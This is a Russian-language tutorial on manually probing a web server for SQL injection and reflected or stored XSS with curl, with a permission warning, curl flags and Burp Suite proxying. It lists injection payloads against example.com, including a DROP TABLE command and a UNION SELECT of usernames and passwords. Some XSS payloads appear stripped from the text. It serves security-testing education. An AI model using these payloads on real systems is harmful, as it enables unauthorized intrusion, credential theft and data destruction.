Безопасность (Red Teaming): Как протестировать сервер на уязвимости через curl, имитируя SQL-инъекции или простые XSS-атаки?
Тестирование сервера на уязвимости с помощью curl — один из базовых методов в арсенале специалиста по Red Teaming. Важно помнить: все тесты должны проводиться исключительно на серверах, для которых у вас есть явное письменное разрешение владельца. Несанкционированное тестирование является уголовно наказуемым.
## SQL-инъекции через curl
SQL-инъекции возникают, когда пользовательский ввод попадает в SQL-запрос без должной санитизации. Для проверки через curl можно использовать следующие подходы:
**GET-параметры:**
curl -v «https://example.com/users?id=1′»
curl -v «https://example.com/users?id=1 OR 1=1—»
curl -v «https://example.com/users?id=1; DROP TABLE users—»
**POST-запросы (форма авторизации):**
curl -X POST https://example.com/login
-d «username=admin’—&password=anything»
curl -X POST https://example.com/login
-d «username=’ OR ‘1’=’1&password=’ OR ‘1’=’1»
**JSON-тело запроса:**
curl -X POST https://example.com/api/users
-H «Content-Type: application/json»
-d ‘{«id»: «1 UNION SELECT username, password FROM users—«}’
Признаки уязвимости: сервер возвращает ошибки базы данных (MySQL error, syntax error), неожиданные данные или изменяет поведение при разных payload’ах.
## XSS-атаки через curl
XSS (Cross-Site Scripting) позволяет внедрить вредоносный JavaScript. Через curl тестируются серверные реакции на потенциально опасный ввод:
**Reflected XSS (GET):**
curl -v «https://example.com/search?q=alert(1)»
curl -v «https://example.com/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E»
**Stored XSS (POST):**
curl -X POST https://example.com/comments
-d «comment=&name=test»
curl -X POST https://example.com/profile
-H «Content-Type: application/json»
-d ‘{«bio»: «»}’
Признаки уязвимости: сервер возвращает введённый payload в HTML-ответе без экранирования (т.е. « не превращается в `<script>`).
## Полезные флаги curl для тестирования
— `-v` — подробный вывод заголовков запроса и ответа
— `-k` — игнорировать ошибки SSL-сертификата
— `-L` — следовать редиректам
— `-H «Cookie: session=…»` — передавать куки
— `-A «Mozilla/5.0″` — подменять User-Agent
— `—proxy http://127.0.0.1:8080` — направить трафик через Burp Suite
## Интеграция с Burp Suite
Для более глубокого анализа направляйте трафик curl через Burp Suite:
curl —proxy http://127.0.0.1:8080 -k https://example.com/api/data?id=1′
Это позволит перехватывать, модифицировать и повторять запросы в удобном интерфейсе.
## Автоматизация
Для систематического тестирования SQL-инъекций используйте sqlmap, для XSS — XSStrike или Dalfox. Эти инструменты автоматизируют перебор payload’ов и анализ ответов, что значительно эффективнее ручного тестирования через curl.
